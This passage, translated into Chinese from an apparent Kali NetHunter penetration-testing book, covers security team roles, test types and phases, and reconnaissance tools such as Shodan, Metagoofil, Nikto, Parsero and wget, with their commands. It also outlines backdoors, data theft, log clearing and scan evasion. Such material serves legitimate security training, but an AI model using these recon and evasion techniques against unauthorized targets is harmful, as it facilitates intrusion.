蓝队对红队对紫队

许多组织意识到他们公司需要一个网络安全团队。IT 安全团队通常分为两种颜色:红色和蓝色。每个团队都有其独特的目标,而两个团队的总体目标是确保保持健康的安全姿态,并减少信息安全风险。

蓝队

蓝队的目标是什么?他们做什么?为什么需要他们?重视其资产(有形、无形和员工)的组织将确保它们免受恶意黑客的侵害,因为网络攻击可能随时从内部或外部发起。最困难的任务之一是实时检测网络攻击并加以缓解。通常,在信息技术和通信ICT)部门内聘请一组网络安全人员,以积极加固组织系统和网络基础设施的安全。这个团队被称为蓝队。

蓝队不断监视网络,以防范公司内部或外部的新威胁。然而,对立的红队有不同的目标。

红队

红队的目标与蓝队大不相同。红队专注于不断攻击组织的系统和网络。你可能会想为什么会有这样的目标的团队存在。正如在《Kali NetHunter 简介》中提到的,黑客总是试图以各种原因未经授权地进入另一个人或公司的系统。然而,未经授权地进入另一个系统或网络是非法的,因为它是侵入性的。由于数字世界中威胁不断增长,组织需要不断改善其安全姿态。

红队是外部承包商或内部团队,其目标是不断模拟真实世界的网络攻击。这是为了确保发现所有漏洞,并确定如何才能被真正的恶意黑客利用。红队就像黑帽黑客一样,他们被组织承包来发现所有隐藏的漏洞,利用任何缺陷,并在测试结束时提供详细报告。

紫队

紫队是红队和蓝队的结合。该团队既致力于进行攻击性安全测试,又致力于防御网络攻击者。与红队和蓝队不同,他们既不专门从事攻击性安全,也不专门从事防御性安全,而是为组织提供统一的安全咨询服务。

渗透测试的类型

每当渗透测试人员被指派对目标组织进行模拟真实世界的攻击时,通常会进行三种类型的渗透测试:白盒、灰盒和黑盒。每种类型都将决定哪些资产暴露给内部威胁和外部方,比如黑客。

白盒测试是一种简单的渗透测试,因为在模拟攻击之前已经完全了解了目标系统和网络。这对于渗透测试人员来说是有益的,因为他们会对目标网络有充分的信息,并且可以更好地利用工具和资源来创建、交付和执行可能在第一次尝试时成功的有效载荷。然而,这种类型的渗透测试也有缺点。道德黑客或渗透测试人员很可能不会寻找任何在测试之前提供的知识之外的隐藏漏洞和系统,或者完全了解系统的基础设施。

黑盒测试是指渗透测试人员对目标系统或基础设施没有任何信息或知识。渗透测试人员将表现得像一个真正的黑客,以获取对目标的访问权限。有时唯一提供的信息是公司的名称或者只是网站。道德黑客或渗透测试人员需要做出所有努力来确定组织的类型和行业、网络基础设施中存在的网络和安全设备类型、其员工等。

灰盒测试介于白盒和黑盒渗透测试之间。在实际进行安全审计或渗透测试之前,渗透测试人员对目标基础设施的信息非常有限。

渗透测试的阶段

在对系统或网络进行渗透测试之前,我们必须首先制定参与规则或行动计划。如果渗透测试人员仅仅匆忙进入网络并对目标发动随机攻击,那将不够专业。此外,制定行动计划可以使在决定基于目标漏洞的工具和攻击类型时,工作变得更加简单。

预攻击阶段

预攻击阶段侧重于渗透测试的规划和准备工作,这是在直接与目标系统或网络进行任何接触之前完成的。在这个阶段,渗透测试人员将创建一系列工具、脚本和操作系统,以便在攻击阶段使用。在实际渗透测试之前确定渗透方法是非常重要的,它将为实现每个渗透测试目标创建一个系统化的方法。

在预攻击阶段,我们不能忘记其中一个最重要的目标,即与客户讨论参与规则。这一点非常重要,因为渗透测试人员和客户双方必须就将进行的测试类型、测试持续时间、目标系统和网络、如果进行远程测试-尽可能提供源 IP 地址、侵入性或非侵入性测试等达成共识和理解。

到目前为止,我们已经了解到组织会聘请安全专业人员,如渗透测试人员,来检查其系统或网络中的安全控制并发现任何隐藏的漏洞。有时,组织可能会聘请渗透测试人员模拟对其 Web 应用程序的真实攻击,而另一家公司可能希望对其 Windows 服务器进行安全审计。从渗透测试人员的角度来看,单一的方法并不总是适用于每个目标。这就是渗透测试人员可以根据目标所需的测试类型制定自己的方法的地方。

在攻击阶段之前尽可能获取有关目标的信息非常有帮助。让我们把这看作是一次军事行动;在发动攻击之前,将军或高级官员会派遣一支士兵小组进行侦察,并在不被发现的情况下收集有关目标的尽可能多的信息。这个概念也适用于渗透测试;对目标了解的信息越多,将有助于渗透测试人员发现漏洞和弱点。一旦在目标上发现了漏洞(弱点),下一步就是利用工作漏洞来利用这个漏洞/弱点。这是在攻击阶段完成的。

在渗透测试的预攻击阶段通常会发现信息,如开放端口、设备类型、操作系统、网络布局、安全设备和网络共享。

攻击阶段

攻击阶段对于渗透测试人员来说可能有些具有挑战性。在这个阶段,利用漏洞来获取对目标系统和/或网络的访问权限。有时,一个利用可能无法生效,这可能会有点令人沮丧。拥有一个利用开发环境对于特定有效负载无法破坏目标的情况非常有用。然而,渗透测试人员不应该仅仅依赖于一个入口点,而是应该有多种获取访问权限的方法。这个概念不仅展示了渗透测试人员的技术技能,也展示了目标本身的许多缺陷。

在攻击前阶段收集的有关目标的信息将被用来确定在目标上使用的利用类型。可以使用现有的利用,这些利用可以从Offensive Security 的 Exploit Databasewww.exploit-db.com)等可靠的在线存储库中找到,或者使用Metasploitwww.rapid7.com/products/metasploit/)等利用开发框架。

通常,攻击者会破坏目标系统上的标准帐户以减少被发现的可能性,然后他们将尝试提升权限到系统/管理或根权限。在这个阶段,渗透测试人员会在受损系统中植入恶意代码,以创建远程访问的后门,并开始在网络上进行横向移动,以破坏其他潜在目标。

攻击后阶段

攻击后阶段侧重于清理攻击阶段留下的任何物品。这些是在渗透测试期间使用的有效负载、脚本和其他文件。报告通常在这个阶段结束时完成,并交付给客户,概述了执行的各种安全测试及其结果。

渗透测试方法和框架

在本节中,我们将看一下各种渗透测试方法和框架。首先,我们必须了解什么是方法论。方法论是一套应用于研究领域或活动的方法,采用系统化的方法。在渗透测试领域中,另一个重要的术语是框架。渗透测试框架是一个全面的指南,详细介绍了每个渗透测试类别的使用和安全审计工具。

完成第一次渗透测试培训可能会非常令人兴奋,你可能非常渴望去攻击某些东西。想象一下,你在客户的网络上,然后你开始一次性刺激你的攻击,专注于特定一组漏洞或系统。可能会发生很多失误 - 利用可能会击中未在渗透测试协议范围内指定的目标 - 这可能对业务造成不良影响,并且会产生不良的声誉。其次,如果不使用系统化的方法,可能最终无法获得期望的结果。

因此,在渗透测试的攻击前阶段,最好选择一个最适合潜在目标基础设施的方法论或框架。框架将确保渗透测试人员遵循一组特定的指南,以获得期望的输出和结果的解释。

以下是一些较受欢迎的渗透测试方法和框架:

  • OWASP 测试指南

  • PCI 渗透测试指南

  • 渗透测试执行标准

  • 开源安全测试方法手册OSSTMM

OWASP 测试框架

开放式 Web 应用安全项目OWASP)测试框架被定义为常见 Web 应用程序和安全服务问题的低级渗透测试指南。它被开发为一个最佳实践的渗透测试框架,供任何人在其组织内实施。

OWASP 测试指南 v4 可在www.owasp.org/index.php/OWASP_Testing_Project找到。

OWASP 测试框架概述了五个阶段:

  • 第 1 阶段:开发之前

  • 定义系统开发生命周期(SDLC)

  • 审查政策

  • 制定测量和度量标准并确保追踪

  • 第 2 阶段:在定义和设计期间

  • 审查安全要求

  • 审查设计和架构

  • 创建和审查 UML 模型

  • 创建和审查威胁模型

  • 第 3 阶段:开发期间

  • 代码演练

  • 代码审查

  • 第 4 阶段:在部署期间

  • 应用渗透测试

  • 配置管理测试

  • 第 5 阶段:维护和运营

  • 进行操作管理审查

  • 进行定期健康检查

  • 确保变更验证

有关 OWASP 测试框架的更多信息,请访问www.owasp.org/index.php/The_OWASP_Testing_Framework

此外,OWASP 一直在全球范围内提供网络安全意识和改进网络安全的方法。他们的OWASP 十大是网络应用中最关键的安全风险列表。

以下是OWASP 十大-2017网络应用关键安全风险列表:

  • A1:2017-注入

  • A2:2017-破坏身份验证

  • A3:2017-敏感数据暴露

  • A4:2017-XML 外部实体(XXE)

  • A5:2017-破坏访问控制

  • A6:2017-安全配置错误

  • A7:2017-跨站脚本(XSS)

  • A8:2017-不安全的反序列化

  • A9:2017-使用已知漏洞的组件

  • A10:2017-日志记录和监控不足

关于 OWASP 十大-2017 列表的每个类别的更多详细信息可在www.owasp.org/index.php/Top_10-2017_Top_10找到。

PCI 渗透测试指南

计划或参与任何形式的支付卡交易的组织,如信用卡等,都需要符合支付卡行业数据安全标准(PCI DSS)。 PCI DSS 政策和标准用于保护和改善信用卡,借记卡和现金交易的安全性,同时保护持卡人的个人可识别信息(PII)。

PCI 渗透测试指南概述了其方法中的以下阶段:

  • 预参与(规划)

  • 参与:渗透测试(发现和攻击)

  • 后参与(后攻击)

渗透测试执行标准

渗透测试执行标准PTES)由七个阶段组成,涵盖了渗透测试的所有方面:

  • 预参与互动

  • 情报收集

  • 威胁建模

  • 漏洞分析

  • 利用

  • 后利用

  • 报告

有关 PTES 的更多信息,请访问www.pentest-standard.org/index.php/Main_Page

开放源安全测试方法手册

开放源安全测试方法手册OSSTMM)由安全和开放方法研究所ISECOM)开发和发布,作为如何改进安全测试和实施的指南。

OSSTMM 与先前提到的方法和框架有些不同,该方法还测试组织,运营和电信安全和合规性。

以下是 OSSTMM 中的领域:

  • 操作安全度量

  • 信任分析

  • 工作流程

  • 人员安全测试

  • 物理安全测试

  • 无线安全测试

  • 电信安全测试

  • 数据网络安全测试

  • 合规法规

  • 使用 STAR(安全测试审计报告)进行报告

渗透测试的阶段

到目前为止,我们已经了解了各种渗透方法和框架。现在,你可能想知道如何把它们整合起来。在渗透测试培训课程中,你学到的第一件事就是黑客的五个阶段。在每个阶段,作为渗透测试人员/道德黑客,都有要完成的目标;一个阶段导致下一个,直到完成最后阶段:

  • 侦察

  • 扫描

  • 获取访问权限

  • 保持访问权限

  • 清除痕迹

侦察

侦察阶段是最重要的阶段。这个阶段是关于收集有关目标的信息;渗透测试人员对目标了解得越多,就越容易利用它。在这个阶段,通常进行以下操作:

  • 使用雅虎、必应和谷歌等搜索引擎

  • 在社交网络网站上搜索有关公司和员工(过去和现在)的信息

  • 执行谷歌黑客技术以收集有关目标的更精确信息

  • 使用各种工具对目标网站进行足迹识别

  • 执行有关目标的域注册信息收集

  • 直接和间接的社会工程

扫描

这个阶段是更直接地接触实际目标。扫描阶段帮助渗透测试人员识别网络上的开放和关闭端口、活动主机、系统和网络上运行的服务、操作系统类型以及系统上的漏洞。在扫描阶段,收集到的信息将为渗透测试人员提供目标环境的拓扑视图。

以下是扫描的目标:

  • 检查活动机器

  • 检查入侵防护系统(IPS)

  • 检查防火墙

  • 检查开放和关闭的端口

  • 检查服务版本

  • 检查漏洞

  • 创建网络图

获取访问权限

这是利用阶段,渗透测试人员试图攻破目标系统或网络。在这个阶段,渗透可能会创建一个自定义有效载荷,以远程执行或在实际目标上执行。

这个阶段有两个目标:

  • 获取访问权限

  • 提升权限

保持访问权限

一旦目标系统被攻破,渗透测试人员将尝试创建多个后门访问实例,以防止他们无法再通过漏洞访问系统。一些渗透测试人员利用这个机会植入远程访问特洛伊木马(RATs)或创建一个僵尸网络来控制被攻破的系统。

这个阶段有以下目标:

  • 创建和维护远程访问

  • 隐藏文件

  • 窃取数据

清除痕迹

这个阶段用于清除目标系统和网络上入侵的所有可能痕迹;作为渗透测试人员,我们希望尽可能隐秘,以模拟真实世界的攻击。

这个阶段有两个目标:

  • 清除所有日志

  • 掩盖痕迹

可交付成果

在渗透测试结束时,会向客户提供一份报告,其中详细列出了发现的所有漏洞。渗透测试报告还包含了每个系统受到的漏洞威胁的证据,以表明概念的证明。这对客户的安全团队实施减轻技术和预防控制措施对他们的基础设施可能是有帮助的。一些渗透测试报告包含减轻技术,而其他一些则没有。这取决于客户和渗透测试服务提供者之间的共同协议。

最重要的是,报告是对所进行的测试事件和行动以及每个测试的结果的全面总结。作为渗透测试人员,我们的报告有时倾向于过于技术化,然而我们的最终报告应该以高管层次编写,非技术人员可以阅读和理解。

总结

在本章中,我们看到了当今世界和未来进行渗透测试的必要性。随着新威胁的出现,我们的资产和数据的安全风险比以往任何时候都更大。我们对不同类型的黑客及其可能的黑客动机进行了简要比较和对比。此外,我们讨论了组织内各种安全团队的必要性,以帮助改善不断增长的威胁格局的安全状况,最后,我们讨论了黑客方法和概念。

在下一章中,我们将介绍情报收集工具。

第二部分:常见的渗透测试任务和工具

在本节中,我们将学习如何收集、存储和处理信息。我们还将看看如何向目标部署有效载荷,并清除 NetHunter 攻击的痕迹。

本节中包括以下章节:

  • 第三章,情报收集工具

  • 第四章,扫描和枚举工具

  • 第五章,获取受害者的访问权限

  • 第六章,保持对受害者的控制

  • 第七章,清除痕迹并删除目标上的证据

第三章:情报收集工具

让我们开始使用 Kali NetHunter。我们将从探索从目标主机或网络中收集情报的工具开始这个旅程。在本章中,我们将遇到的工具通常是在渗透测试的第一阶段部署的,有可能在后续阶段再次部署。

在本章中,我们将涵盖以下主题:

  • 情报收集的目标

  • 收集有用信息的工具

  • 下载和复制网站

  • Google 黑客

  • 社交网络

  • 使用 WHOIS

  • nslookup

技术要求

要完成本章,你需要安装 Kali NetHunter (kali.org)。请参阅第一章,Kali NetHunter 简介,了解如何在 Android 设备上安装 Kali NetHunter。

情报收集的目标

在你有效地部署任何用于入侵系统或以其他方式威胁系统的工具之前,你必须了解你能够获取的有关系统的所有信息。根据你所采取的谨慎程度和需要深入了解的程度,这个过程可能需要很短的时间,也可能需要相当长的时间。为了加快这个过程,NetHunter 提供了一整套专门设计用于此目的的工具。

由于本书没有特定的目标,我们将探索一系列旨在收集不同类型信息的工具。我们将假设有大量关于目标的信息需要收集,我们只需部署正确的工具来获取它。请记住,在现实世界中,你可能会被要求根据客户的需求使用三种流行的方法之一来执行渗透测试。考虑到这一点,让我们来看看基于提供的信息量或需要收集的信息量的渗透测试的三种流行方法:

  • 白盒:用来描述在测试开始之前向测试人员提供完整信息并且之后可以提出额外问题的测试术语。通常,这种测试用于客户需要执行审计的情况,模拟实际攻击并不是必要的。

  • 灰盒:在这种类型的测试中,为了指导测试或控制测试的范围,向测试人员提供有限的信息。例如,客户可能会提供服务器名称和 IP 地址的列表,如果发现,将是你联系客户以获取进一步指示的地方。

  • 黑盒:在这种类型的测试中,不提供任何信息,攻击者必须自行获取所有信息。这种测试最接近外部攻击者可能面临的实际环境,必须在过程中获取信息。

在你进行测试之前,了解客户的目标和他们想要的测试类型是很重要的。对于本书来说,我们将假设我们正在进行黑盒测试,并且必须挖掘并获取我们需要的信息,以便进行后续的渗透测试过程。

在渗透测试领域有许多其他类型的测试格式,但我们不会在本书中包括它们。相反,我们将通过限制自己只使用这三种类型来简化事情。

轻松获取信息

正如你可能已经意识到的那样,由于互联网,有大量的资源可供利用,只需要花时间和精力。我们可以利用丰富的知识;然而,拥有这么多信息也有一个非常现实的缺点:如果不小心的话,你可能会感到不知所措。一旦你测试了足够长的时间并熟悉了可能被揭示的信息类型,你就会学会什么是更有价值的。

根据我自己的经验以及多年来我指导的人的经验,我发现学会快速识别有用信息需要一段时间。通常情况下,作为初学者,您会收集比您实际使用的信息要多得多,同时可能会错过一些看起来没有多大用处的项目。随着您对渗透测试中可以采取的不同行动的经验,您将学会识别有用的信息,无论是立即有用的信息还是以后可能有用的信息。

可用信息类型

在您进行情报收集期间保持专注,简要列出您可以发现的信息类型是很重要的。

让我们开始确定我们正在寻找或可能遇到的信息类型,这些信息将来可能会有用。提前设定您正在寻找的信息有助于您了解应该使用 Kali 的哪些工具来达到您的目标。我想知道哪些信息有最大的可能性是有用的,但我也试图对这些信息进行优先排序,并识别那些我可以用各种工具收集的项目。

网络信息

在我们进行渗透测试的攻击前阶段,获取有关网络的信息可能是有用的。我们的目标是确定设备之间发生了什么交易,使用了哪些服务,IP 和 MAC 地址等。

以下是我们可以从网络中提取的信息的简短列表:

  • DNS 信息

  • IP 地址

  • 流氓或未监控的网站

  • 正在运行的 TCP/UDP 服务

  • 虚拟私人网络VPN)信息

  • 包括模拟和 VoIP 在内的电话号码

  • 认证系统

  • 用户和组信息

  • 来自运行服务的横幅信息

  • 系统架构

  • 主机名

  • 用户名和相关密码

组织数据

组织信息是描述和概述企业或组织内部运作和流程的任何信息。这些信息可能采取多种形式,但可以期待组织结构图、商业计划、社交媒体或行政数据等内容。

可能与组织相关的信息包括以下内容:

  • 员工信息,如姓名、职位和电子邮件地址

  • 公司网站

  • 组织员工目录(例如电话簿)

  • 公司的实际地址

  • 公司网站代码中的评论

  • 组织安全政策

这是很多信息,我们可以使用 Kali NetHunter 中可用的内容收集所有这些信息,甚至更多。您可以期待通过运行一些基本脚本和工具来收集大量信息,这些工具将向您呈现信息。

信息收集方法包括以下内容:

  • 开源情报OSINT):OSINT 从各种在线资源中收集信息;这既是一种有效的,又是相对容易的了解目标的方式。OSINT 使用互联网搜索引擎、社交媒体网站、博客、论坛和其他来源收集有关目标的信息。

  • 您可能还会使用一些被设计用来从目标中收集信息的被动方法。要被视为被动方法,您不能直接与目标进行交互或查询,这样就减少了被发现的机会,也避免了您的努力受挫。此外,被动方法也合理地模拟了许多用于从公共来源获取信息的方法,也就是所谓的 OSINT。

您可能会想知道为什么在本书中,我们有时会使用不是 Kali 原生工具的工具。这是因为在许多情况下,我要么试图展示正常的做事方式,而不是使用 Kali 自己的工具来完成相同任务的更完整、更高效、更好的方式。

还有其他可用的工具可以验证结果,如果您希望双重检查您的数据。

收集有用信息的工具

NetHunter 有许多旨在收集有关目标的信息的工具,每个工具都提供其他工具所没有的东西。在本书中,我们将介绍 NetHunter 中的许多工具,但不是全部,因为有太多了。我们将介绍更强大的工具和您在工作中最有可能使用的工具;但是,当您进行自己的探索时,您可能会发现其他工具。

在本章中,既有 Kali 中的工具,也有软件之外存在的工具。展示这两种类型的工具的想法不仅是为了演示如何以其他方式获取信息,还有如何结合多个来源的信息来帮助您进行流程。

如果目标(例如组织)有一个网站,那可能是开始进行侦察的好地方。公司的网站提供了大量细节,例如内部联系人的电子邮件地址、电话号码和分机号。如果有一个职业页面,它将提供有关公司内使用的技术的职位空缺的详细信息。网站是组织在数字世界中的代表。

开始时,检查网站以寻找可能有用的信息。注意以下细节:

  • 电子邮件地址

  • 物理位置

  • 职位发布

  • 电话簿列表

使用 Shodan

NetHunter 工具箱中最有用的工具之一是用于访问 Shodan 的第三方应用程序。Shodan 是一个强大的搜索引擎,用于查找连接到互联网的设备。使用 Shodan,可以轻松识别目标组织内的多个硬件和软件。

为什么是奇怪的名字?Shodan 得名于游戏 System Shock。SHODAN角色名称是对赛博朋克恐怖主题游戏的主要反派 Sentient Hyper-Optimized Data Access Network 的首字母缩写。

为了解锁 Shodan 的全部功能,您需要熟练地使用关键字。关键字可以是任意数量的不同项目,但在这种情况下,它们通常是制造商的名称和设备型号。在某些情况下,甚至可以是不寻常设备的名称,例如嵌入式设备或物联网IoT)设备的名称。一旦您有了要使用的关键字的想法,您可以在 Shodan 中使用这些关键字来搜索设备。如果您感到不知所措,甚至可以使用过滤命令来细化您的结果。

Shodan 已经存在大约十年,并且一直在变得更加强大和有效。Shodan 不同于其他搜索引擎,它具有搜索连接到互联网的设备的能力。最初预期它能够找到连接到互联网的计算机和打印机,但今天它有能力定位设备,例如命名的物联网对象。基本上,只要可以从互联网访问或查看,就存在使用 Shodan 进行搜索的可能性。

作为渗透测试者,您会发现您可以非常快速、轻松地找到不应连接到互联网或没有任何公开暴露的设备或系统。如果需要,搜索引擎也可以成为在您自己的网络上查找未经授权或流氓设备的非常有用的工具。

要开始使用 Shodan,您需要访问他们的网站shodan.io进行注册并创建帐户。完成后,您将获得一个独特的应用程序编程接口API)密钥,输入到 Shodan 应用程序中:

image

Shodan 网站

要使用 Shodan,您需要执行以下操作:

  1. 启动位于应用程序列表中的 Shodan 应用程序。

  2. 如果这是您第一次使用该应用程序,请输入您的 API 密钥。

  3. 输入关键字搜索,然后点击搜索按钮

几分钟后,Shodan 将返回符合您搜索条件的个别系统列表。与其他搜索引擎类似,单击任何一个结果以获取有关目标的更详细信息,包括端口和服务等项目。在某些结果上,您甚至可以单击与端口号和服务相关的+号标志。

如果您在设备上找不到 Shodan 应用程序,这可能是因为您在安装 Kali NetHunter 时没有选择安装它。如果您没有安装它,您可以在安装后使用 Google Play 轻松安装它并搜索 Shodan 应用程序。

image

Shodan 搜索结果

使用过滤器进行工作

使用 Shodan,您可以单独或与其他一起使用过滤器来筛选和缩小结果,并将搜索重点放在特定的标准上,例如国家、城市、产品或版本。但是,我们可以使用关键字进行搜索;这些关键字包括目标的特定内容。比如说你想要找到思科设备;关键字将是"cisco"。

例如,为了发现运行 Apache web 服务器版本 3.2.8 的网络服务器,您可以使用以下关键字:

apache/3.2.8 200 ok

虽然这种类型的搜索有效,您将了解到通过结合搜索词和过滤器可以进行更有效的搜索。例如,您可以搜索在萨克拉门托运行 IIS/8.5 的组织的所有 Microsoft 网络服务器:

IIS/8.5 hostname:<targetcompany.com> city:Sacramento

使用 Metagoofil

Metagoofil是一个强大的工具,Kali NetHunter 为您提供了这个工具来收集信息。简而言之,Metagoofil 根据您提供的标准从 Google 中搜索并下载信息。收集到的元数据信息来自您指定的目标公司的公共文档(如 PDF、Doc、XLS、PPT、Docx、PPTX 和 XLSX 文件)。它会将这些文件下载并保存到本地驱动器,然后使用内置库从文件中提取元数据。以下图显示了 Metagoofil 在终端窗口中的情况:

image

那么,什么是元数据?嗯,元数据是描述计算机上的文件等内容的信息。在实践中,元数据的一个很好的例子是附加到保存在硬盘上的文件的属性。如果这个文件是一张图片,我们可以查看它的属性,并且能够看到拍摄照片的设备、颜色深度、大小以及其他信息,例如在某些情况下的 GPS 数据。根据被分析的文件类型,可以显示的信息可能包括用户名、软件版本以及服务器或机器名称。

元数据存在于许多类型的对象中,包括所有类型的文件和数据存储库。事实上,今天许多应用程序和设备默认情况下在它们创建的信息中嵌入元数据。这适用于许多由数码相机和智能手机创建的图像,以及由 Microsoft Word 等产品创建的文件。这些元数据负责存储诸如照片拍摄地点的坐标之类的细节,这些信息可以被检索出来,会揭示出创作者可能希望保密的事情。

使用 Metagoofil 进行信息收集练习

在这个练习中,我们将使用 Metagoofil 从目标域中的文档中提取元数据。

根据您正在运行的 NetHunter 版本,您可能可以立即从命令行运行此实用程序,而某些更新似乎已将其删除。如果您在终端窗口中输入metagoofil命令并收到指示它不可用的消息,请运行以下命令:

apt-get install metagoofil 

让我们使用 Metagoofil 来扫描元数据域。为了保持安全,我们将使用kali.org网站,但你可以用你选择的域替换它。

Metagoofil 为我们提供了许多选项来扫描此域:

  • -d:指定要搜索的域。

  • -t:要下载的文件类型。

  • -l:限制结果(如果未指定,将显示默认值,最多为 200)。值太大将需要更长时间,而值太小将提高性能,但会减少结果。

  • -n:限制要下载的文件。

  • -o:保存下载文件的位置。

  • -f:输出文件的名称,其中包含操作的摘要。

在命令提示符下,输入metagoofil -d kali.org -t pdf,xls -l 200 -n 25 -f results.html,然后按Enter

结果将需要一段时间才能返回,但它将包括类似于以下截图的详细信息,这些信息是从我的搜索中返回的。我对一个不同的域运行了这个,我已经删除了它的名称。请注意用户名称列表、用于创建检索到的文件的软件,甚至电子邮件地址:

image

在浏览器中查看 Metagoofil 的结果

这些信息将使用-f开关保存到文件中(或应该保存)。

实际结果要长得多,细节也更多,但出于简洁起见,无法全部显示在这里。

使用 Nikto

获取有关目标及其网站更多信息的一种方法是使用 Nikto。Nikto是一个 Web 服务器扫描程序,旨在测试 Web 服务器的各种问题,包括 6700 多个危险文件和程序,检查服务器的过时版本,并识别大约 300 种不同服务器类型的特定版本问题。此外,它还具有检查服务器配置问题、HTTP 服务器选项的能力,并且还将尝试对 Web 服务器和软件进行指纹识别。最后,扫描项和插件经常更新,并且可以自动更新。

请记住,并非每个问题都一定是可以利用的,但通过一些研究,你会发现其中许多是可以利用的。扫描返回的一些数据将显示可用于添加更多信息的信息项,这些信息可能在以后会有用。还有一些检查未知项的检查,这些项已经在日志文件中进行了扫描。

以下截图显示了使用 Nikto 扫描网站的结果:

image

Nikto 扫描的结果

让我们用 Nikto 做一些练习,展示它的工作原理并提供一些有用的选项。

练习-使用 Nikto

Nikto 是一个命令行实用程序,因此打开终端窗口开始使用该应用程序。

要运行最基本类型的扫描,我们只需输入以下命令并按Enter

nikto -h <IP address or host name> 

这个命令告诉 Nikto 使用-h开关来针对您选择的主机名或 IP 地址。在我的情况下,我选择了设置用于此类活动/练习的网站webscantest.com。请注意,结果将需要一些时间才能返回,所以如果看起来命令已经挂起或者其他情况下不工作,不要担心。

当你得到结果时,仔细看看返回的内容。

在我的结果中,我注意到了指示存在robots.txt文件的信息。我用浏览器打开了这个文件,输入www.webscantest.com/robots.txt,我得到了关于网站的一些简单信息,包括内容类型和文件夹。我还注意到了指示存在登录页面的信息,网址是www.webscantest.com/login.php。这可能是以后进行密码破解尝试时需要注意的信息。最后,我还应该指出,结果告诉我 Web 服务器的类型和版本,以及操作系统,这种情况下是运行在 Ubuntu 上的 Apache 2.4.7。

还包括其他结果,比如漏洞,这将取决于你的目标。

想知道自己是否可以变得更隐秘?好吧,你可以使用-evasion-e开关并指定一个选项。在我的情况下,我使用1来指定随机编码。这可能有助于愚弄或规避一些侦察机制,足以使你的攻击不被察觉。你可以按照以下方式使用这个选项:

nikto -e 1 -h webscantest.com 

我不会在这里列出所有的选项,但我鼓励你使用帮助选项尝试一些其他开关。你可以通过输入nikto -Help来访问这个选项,以显示所有可用的开关。

关于这个工具的最后一个提示:使用-o开关将你的结果保存到文件中,就像这样:

nikto -h <IP address or hostname> -o <filename> 

我通常将文件名指定为 HTML 文件,比如test.html。只需将结果保存为这样可以节省以后需要参考有用信息时的时间。

什么是 robots.txt?

有时搜索引擎并不能得到你想要的,因为它们不会显示你可能想要的所有内容。搜索引擎只显示网络上可用信息的一小部分,许多人利用这一缺点来阻止某些内容出现在搜索引擎中。其中一种方法是调整一个名为robots.txt的文件。

网站所有者可以利用robots.txt文件来尝试控制谁可以在网站内看到什么。实际上,该文件放在网站的根目录下,当机器人访问网站以目录内容时,该文件就会起作用。机器人访问网站,比如www.sample.com。但在访问之前,它会检查robots.txt文件是否存在。如果文件存在,它会读取文件以查看是否允许继续,如果允许,会在哪里。在这种情况下,假设robots.txtwww.sample.com/robots.txt中找到,并且具有以下内容:

User-agent: * 
Disallow: / 

User-agent: *表示该信息适用于所有机器人。Disallow: /告诉机器人不要访问网站上的任何页面。实际上,robots.txt应该被访问网站以目录其内容的任何机器人读取。当它读取文件时,它应该处理指令并相应地做出反应,但让我们指出实际情况。

实际上,关于这个文件有两个关键点需要记住:

  • 虽然robots.txt的目的是被普遍接受,但实际上,机器人可能会忽略你的/robots.txt。这在恶意网络爬虫扫描网站和 Web 服务器以寻找安全漏洞以及垃圾邮件发送者使用的电子邮件地址收集器的情况下尤其如此。所有这些都倾向于忽略该文件。

  • 实际的robots.txt文件默认是可以被任何人查看的。通过使用谷歌黑客等方式找到这个文件的人可以看到网站的哪些部分被限制,然后无论如何都可以浏览那里。

这里的底线是,robots.txt确实按设计工作。只需要一小段恶意软件或简单的谷歌搜索,就可以了解网站的结构,或者一段不尊重该文件并导致潜在问题的恶意软件。这意味着你不应该使用该文件来隐藏信息,因为它很容易被定位、阅读和绕过。该文件只用于建议不应该访问站点的部分;它不会强制执行它们:

image

robots.txt 内容的示例

使用 Parsero

就 Kali 而言,实际上有一些工具可以查找网站的robots.txt并读取内容。其中一个工具,Parsero,专门设计用来查看文件的内容,特别关注用于阻止机器人访问这些位置的disallow条目。以下截图显示了 Parsero 的操作:

image

Parsero 欢迎界面

Parsero 读取 Web 服务器的robots.txt文件,查看 Disallow 条目,然后检查位置是否可访问。实际上,文件中的条目看起来像这样Disallow: /portal/ login表示此网站或链接www.chieforiyano.com/portal/login上的内容不应该被蜘蛛索引。这似乎非常简单明了,但如果您想收集有关渗透测试的信息,它可能是一个障碍;幸运的是,我们可以绕过这个文件。

有时,robots.txt中的 Disallow 条目中的路径可以被用户访问,他们只需在其 Web 浏览器中输入路径即可。但是,由于robots.txt中可能有许多 disallow 条目,因此可能需要检查许多条目的长列表。Parsero 可用于检查长列表的条目,并查看哪些是有效的,因此您知道要调查哪些路径,而不会浪费时间。

练习-使用 Parsero

在这个练习中,我们将探讨使用 Parsero 的几个示例。

如果您的 Kali 安装中没有安装 Parsero,请使用apt-get install parsero命令,并选择“是”进行安装。

首先,如果我们想要索引一个网站,以查看哪些 disallow 条目是有效的,我们使用以下命令:

parsero -u www.example.com

或者,我们可以使用这个:

parsero -u <website domain name> 

其次,如果我们想要使用搜索引擎查看哪些路径是有效的,我们可以修改命令如下:

parsero -u www.bing.com -sb  

或者您可以使用以下命令:

parsero -u <website domain name> -sb 

在这种情况下,Parsero 将搜索必应以获取结果。

一旦您有了经过验证的目录列表,您可以使用 Web 浏览器或其他工具查看服务器上的路径,以查看可能存在的文件或信息。

使用 wget

可能会发现下载网站的副本进行本地检查并用它来运行其他测试很有用。如果这是你想要做的事情,最简单的方法是使用wget命令,这是一个标准的 Linux 工具,用于从网站检索信息。wget实用程序是一个非交互式下载器。

重要的是要注意,使用wget或类似的实用程序下载网站的技术并不是完全被动的,而是更半被动的。虽然被动信息收集避免与目标的直接接触,因此使过程匿名且不可能被跟踪,但半被动会留下更多痕迹。半被动信息收集更直接地与目标接触,并且可能会在日志中留下信息,这些信息可以被目标分析并揭示活动。关键在于,这些信息是在事后发现的,我们的活动在进行时不会引起注意。

练习-使用 wget

为了简化操作,在这个练习中,我建议您使用一个小型网站或个人网站,因为这将使整个过程更快,因为需要下载的内容更少。但是,如果您确实需要下载一个较大的网站,请注意带宽需求和存储空间需求将相应增加。

尽管我们正在介绍如何将网站内容下载到本地系统,但这里有一些需要牢记的事情:首先,在移动设备上,存储空间可能是紧缺的,这意味着您需要确保有足够的存储空间来存储目标网站的内容。如果空间不足,命令将失败,或者如果您接近耗尽系统空间而没有完全使用它,您可能会遇到设备的其他问题。

其次,请确保,如果您正在执行此操作,并且正在通过蜂窝数据链路执行此操作,如果您有一个数据分配,您将迅速耗尽您的数据分配。

首先,我们想将网站下载到系统上与目标同名的目录中。要做到这一点,在命令行上输入以下内容:

wget -m http://<web address> 

-m选项创建网站的镜像。
